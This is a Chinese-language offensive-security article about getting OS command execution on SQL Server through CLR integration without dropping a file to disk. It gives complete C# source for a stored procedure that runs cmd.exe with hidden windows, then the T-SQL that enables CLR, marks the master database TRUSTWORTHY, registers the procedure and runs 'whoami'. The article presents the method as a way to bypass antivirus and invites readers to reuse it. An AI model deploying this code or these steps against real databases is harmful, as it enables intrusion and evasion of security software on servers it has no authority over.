0X00 前言
在我们想要通过SQL Server来执行命令的时候,我们通常的做法是通过xp_cmdshell
和sp_OACreate
来实现执行命令的需求,然而在某些条件下,我们在利用这两个存储过程的时候经常会遇到被查杀拦截等情况,这些情况导致我们无法达到我们执行的命令的需求,本文将介绍另外一种方法:利用SQL Server CLR来实现不落地执行命令的需求。
0X01 什么是CLR
CLR是微软的公共语言运行库,是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。 由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。
0X02 基于CLR的恶意dll
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void ExecCommand (string cmd)
{
SqlContext.Pipe.Send("Command is running, please wait.");
SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
}
public static string RunCommand(string filename,string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine("Std output:");
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
在编译的时候要注意这个地方选择生成.sql
文件
同时要将权限级别改为UNSAFE
,因为我们要调用外部程序,必须设置为UNSAFE
才可以。
这段代码编译后会产生这几个文件
我们可以使用SQL Server来引用这个dll文件去执行命令,这种方式这里不加以赘述,这里将讨论无文件落地的命令执行。
0X03 无文件落地的命令执行
在SQL Server 2016以后,默认禁用了基于CLR的DLL文件,我们可以通过如下命令解除禁用
1
2
3
4
sp_configure 'clr enabled',1
GO
RECONFIGURE
GO
确认可信任关系
1
ALTER DATABASE master SET TRUSTWORTHY ON;
接下来我们需要用上述目录中生成的.sql
文件中的一段代码来创建我们的存储过程
可见成功创建了一个clr的程序集,然后我们使用如下代码创建存储过程
1
2
3
4
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR(MAX)
AS EXTERNAL NAME [clr].[StoredProcedures].[ExecCommand]
go
可见成功创建了存储过程,然后执行命令
1
exec dbo.execcommand 'whoami'
0x04 小结
CLR的命令执行可以在一些情况下bypass杀软达到我们预期执行命令的需求,笔者在这里只是给出简单的demo代码,具体复杂的实现,读者可以自行研究,或可魔改或可直接使用这个项目实现其他功能。